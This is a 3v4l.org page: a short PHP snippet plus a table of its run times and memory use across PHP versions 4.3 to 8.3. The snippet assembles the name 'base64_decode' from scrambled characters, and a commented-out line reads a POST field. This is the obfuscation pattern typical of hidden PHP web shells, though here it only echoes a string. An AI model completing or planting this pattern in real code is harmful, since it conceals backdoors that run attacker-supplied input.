3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); //$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n13e558']; echo $s21; //echo $s22; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00318.30
8.3.50.0150.00721.88
8.3.40.0000.01418.83
8.3.30.0030.01019.09
8.3.20.0070.00020.30
8.3.10.0040.00423.56
8.3.00.0040.00419.38
8.2.180.0120.00616.38
8.2.170.0040.01122.96
8.2.160.0140.00320.27
8.2.150.0040.00424.18
8.2.140.0030.00524.66
8.2.130.0110.00426.16
8.2.120.0040.00422.29
8.2.110.0040.00422.27
8.2.100.0090.00317.75
8.2.90.0040.00419.22
8.2.80.0030.00617.97
8.2.70.0070.00417.75
8.2.60.0050.00318.03
8.2.50.0000.00818.07
8.2.40.0040.00420.00
8.2.30.0000.00718.09
8.2.20.0040.00417.65
8.2.10.0070.00018.18
8.2.00.0050.00317.62
8.1.280.0140.00725.92
8.1.270.0090.00022.25
8.1.260.0070.00026.35
8.1.250.0070.00028.09
8.1.240.0090.00023.83
8.1.230.0110.00019.13
8.1.220.0030.00517.74
8.1.210.0030.00618.77
8.1.200.0030.00617.23
8.1.190.0030.00617.23
8.1.180.0040.00418.10
8.1.170.0040.00418.65
8.1.160.0040.00421.95
8.1.150.0000.00718.89
8.1.140.0040.00417.36
8.1.130.0000.00717.75
8.1.120.0040.00417.39
8.1.110.0030.00517.43
8.1.100.0030.00417.47
8.1.90.0040.00417.48
8.1.80.0030.00317.48
8.1.70.0050.00217.42
8.1.60.0080.00017.54
8.1.50.0050.00317.47
8.1.40.0040.00417.36
8.1.30.0090.00017.66
8.1.20.0040.00417.58
8.1.10.0060.00317.53
8.1.00.0060.00317.51
8.0.300.0000.00718.77
8.0.290.0000.00716.75
8.0.280.0030.00318.46
8.0.270.0030.00317.26
8.0.260.0060.00017.37
8.0.250.0070.00016.90
8.0.240.0000.00816.96
8.0.230.0000.00816.98
8.0.220.0000.00816.88
8.0.210.0000.00716.89
8.0.200.0000.00716.84
8.0.190.0060.00317.01
8.0.180.0050.00316.97
8.0.170.0040.00416.93
8.0.160.0030.00316.83
8.0.150.0030.00316.83
8.0.140.0040.00416.84
8.0.130.0050.00013.25
8.0.120.0040.00416.84
8.0.110.0040.00416.73
8.0.100.0040.00416.77
8.0.90.0000.00716.68
8.0.80.0060.00916.82
8.0.70.0050.00216.89
8.0.60.0030.00516.92
8.0.50.0030.00516.95
8.0.30.0080.01217.03
8.0.20.0050.01517.41
8.0.10.0040.00416.84
8.0.00.0060.01216.74
7.4.330.0000.00615.00
7.4.320.0000.00616.40
7.4.300.0060.00016.61
7.4.290.0000.00716.64
7.4.280.0030.00616.57
7.4.270.0000.00716.50
7.4.260.0030.00316.59
7.4.250.0040.00416.57
7.4.240.0040.00416.54
7.4.230.0000.00716.28
7.4.220.0140.00716.47
7.4.210.0090.00616.53
7.4.200.0000.00716.53
7.4.160.0000.01616.36
7.4.150.0140.00317.40
7.4.140.0080.01017.86
7.4.130.0110.00716.53
7.4.120.0120.00716.38
7.4.110.0100.00716.41
7.4.100.0060.01216.43
7.4.90.0270.01116.36
7.4.80.0090.00919.39
7.4.70.0090.00616.48
7.4.60.0070.01016.59
7.4.50.0040.00416.49
7.4.40.0100.00616.53
7.4.30.0000.01616.66
7.4.00.0060.00915.16
7.3.330.0050.00013.09
7.3.320.0030.00313.22
7.3.310.0080.00016.29
7.3.300.0040.00316.17
7.3.290.0030.01616.29
7.3.280.0090.00816.29
7.3.270.0090.01317.40
7.3.260.0190.00016.48
7.3.250.0110.00616.47
7.3.240.0170.00316.42
7.3.230.0090.00916.39
7.3.210.0070.01016.32
7.3.200.0140.00419.39
7.3.190.0050.01816.50
7.3.180.0090.00616.29
7.3.170.0100.00616.27
7.3.160.0100.00716.38
7.3.120.0040.01114.83
7.3.110.0070.00714.57
7.3.100.0070.00714.58
7.3.90.0150.00015.07
7.3.80.0040.00814.81
7.3.70.0120.00415.00
7.3.60.0040.00414.94
7.3.50.0030.00814.81
7.3.40.0040.00814.96
7.3.30.0080.00614.77
7.3.20.0120.00316.57
7.3.10.0100.00616.48
7.3.00.0030.01016.81
7.2.330.0090.00916.62
7.2.320.0110.00516.36
7.2.310.0040.01216.36
7.2.300.0100.00716.77
7.2.290.0220.00016.83
7.2.240.0040.00415.02
7.2.230.0100.00615.15
7.2.220.0040.00415.35
7.2.210.0070.01114.72
7.2.200.0060.00315.27
7.2.190.0070.01014.73
7.2.180.0040.01114.99
7.2.170.0120.00315.11
7.2.160.0110.00414.98
7.2.150.0060.00917.04
7.2.140.0090.00616.84
7.2.130.0070.00716.84
7.2.120.0040.00816.91
7.2.110.0030.01317.00
7.2.100.0030.01216.98
7.2.90.0060.00616.72
7.2.80.0080.00816.63
7.2.70.0040.01416.91
7.2.60.0070.01117.06
7.2.50.0070.01016.70
7.2.40.0000.01616.68
7.2.30.0000.01417.23
7.2.20.0040.01416.61
7.2.10.0130.00316.89
7.2.00.0100.00316.86
7.1.330.0040.00815.91
7.1.320.0060.00615.82
7.1.310.0070.01015.59
7.1.300.0080.00815.87
7.1.290.0030.01015.77
7.1.280.0030.00915.75
7.1.270.0030.00915.70
7.1.260.0110.00415.85
7.1.250.0040.01115.54
7.1.70.0000.01017.12
7.1.60.0100.01419.11
7.1.50.0070.02116.85
7.1.00.0070.07322.57
7.0.200.0000.00816.79
7.0.140.0070.06721.95
7.0.60.0200.06719.91
7.0.50.0070.06317.81
7.0.40.0070.08020.27
7.0.30.0170.06020.02
7.0.20.0330.05019.99
7.0.10.0100.08320.20
7.0.00.0100.06020.16
5.6.280.0070.07021.03
5.6.210.0070.08320.60
5.6.200.0070.07018.12
5.6.190.0130.07320.43
5.6.180.0230.04720.76
5.6.170.1300.05720.44
5.6.160.0130.07720.54
5.6.150.0000.05718.22
5.6.140.0130.07318.20
5.6.130.0100.08018.11
5.6.120.0070.08320.79
5.6.110.0030.07021.07
5.6.100.0170.06720.95
5.6.90.0270.07021.07
5.6.80.0030.04320.39
5.5.350.0200.07720.52
5.5.340.0070.07717.98
5.5.330.0030.06720.15
5.5.320.0370.07720.26
5.5.310.0200.04720.24
5.5.300.0030.03718.00
5.5.290.0070.08017.95
5.5.280.0030.07020.79
5.5.270.0200.06320.71
5.5.260.0130.03320.96
5.5.250.0130.07720.58
5.5.240.0270.04720.12
5.4.450.0800.05719.52
5.4.440.0530.07719.56
5.4.430.0100.05319.10
5.4.420.0630.00019.29
5.4.410.0630.00019.14
5.4.400.0630.00019.05
5.4.390.0670.00018.96
5.4.380.0630.00019.02
5.4.370.0630.00019.15
5.4.360.0630.00019.08
5.4.350.0630.00018.98
5.4.340.0060.04211.97
5.4.320.0030.03712.45
5.4.310.0070.05412.45
5.4.300.0080.03912.45
5.4.290.0030.04112.45
5.4.280.0060.03412.35
5.4.270.0090.04312.34
5.4.260.0040.04412.34
5.4.250.0050.04412.34
5.4.240.0060.03412.34
5.4.230.0070.03512.34
5.4.220.0070.03312.34
5.4.210.0080.03212.34
5.4.200.0080.03512.34
5.4.190.0050.03512.33
5.4.180.0060.03512.34
5.4.170.0060.03412.35
5.4.160.0060.03612.34
5.4.150.0090.03912.34
5.4.140.0080.04012.02
5.4.130.0070.03612.01
5.4.120.0060.03311.97
5.4.110.0030.03711.96
5.4.100.0060.03611.96
5.4.90.0100.03211.96
5.4.80.0050.03711.96
5.4.70.0030.03711.96
5.4.60.0030.03611.96
5.4.50.0060.03411.96
5.4.40.0060.03511.95
5.4.30.0050.04111.95
5.4.20.0100.03211.94
5.4.10.0060.03911.95
5.4.00.0030.03611.44
5.3.290.0080.03612.80
5.3.280.0060.03612.70
5.3.270.0050.03812.73
5.3.260.0050.03912.72
5.3.250.0040.04212.72
5.3.240.0040.03812.72
5.3.230.0080.03512.71
5.3.220.0070.03912.68
5.3.210.0100.03612.68
5.3.200.0080.03512.68
5.3.190.0050.04112.68
5.3.180.0060.03612.67
5.3.170.0050.03712.67
5.3.160.0060.03512.67
5.3.150.0040.03812.67
5.3.140.0010.04012.66
5.3.130.0110.04312.66
5.3.120.0060.04512.66
5.3.110.0100.04012.65
5.3.100.0050.03712.12
5.3.90.0080.03312.08
5.3.80.0090.04712.07
5.3.70.0140.04112.07
5.3.60.0070.03512.06
5.3.50.0070.03512.00
5.3.40.0060.03712.00
5.3.30.0070.03411.95
5.3.20.0050.03811.72
5.3.10.0040.04411.69
5.3.00.0060.03711.68
5.2.170.0030.0369.18
5.2.160.0070.0299.18
5.2.150.0040.0369.18
5.2.140.0070.0289.18
5.2.130.0030.0319.14
5.2.120.0050.0309.14
5.2.110.0050.0339.14
5.2.100.0090.0279.14
5.2.90.0050.0289.14
5.2.80.0060.0359.13
5.2.70.0060.0289.14
5.2.60.0050.0319.09
5.2.50.0060.0299.05
5.2.40.0070.0289.04
5.2.30.0040.0309.01
5.2.20.0020.0309.00
5.2.10.0070.0348.92
5.2.00.0030.0328.77
5.1.60.0030.0278.06
5.1.50.0040.0248.05
5.1.40.0060.0228.04
5.1.30.0030.0268.39
5.1.20.0040.0298.41
5.1.10.0060.0258.13
5.1.00.0030.0288.14
5.0.50.0010.0226.62
5.0.40.0040.0246.47
5.0.30.0060.0326.29
5.0.20.0070.0196.26
5.0.10.0050.0186.23
5.0.00.0050.0326.23
4.4.90.0050.0214.78
4.4.80.0040.0194.76
4.4.70.0030.0154.75
4.4.60.0040.0174.75
4.4.50.0030.0144.77
4.4.40.0030.0254.71
4.4.30.0020.0154.76
4.4.20.0020.0154.84
4.4.10.0040.0214.85
4.4.00.0040.0274.76
4.3.110.0020.0154.67
4.3.100.0040.0134.66
4.3.90.0020.0204.63
4.3.80.0040.0224.58
4.3.70.0020.0194.63
4.3.60.0020.0194.63
4.3.50.0060.0194.63
4.3.40.0040.0294.53
4.3.30.0010.0163.28
4.3.20.0010.0173.26
4.3.10.0060.0163.22
4.3.00.0100.0207.25

preferences:
45.03 ms | 401 KiB | 5 Q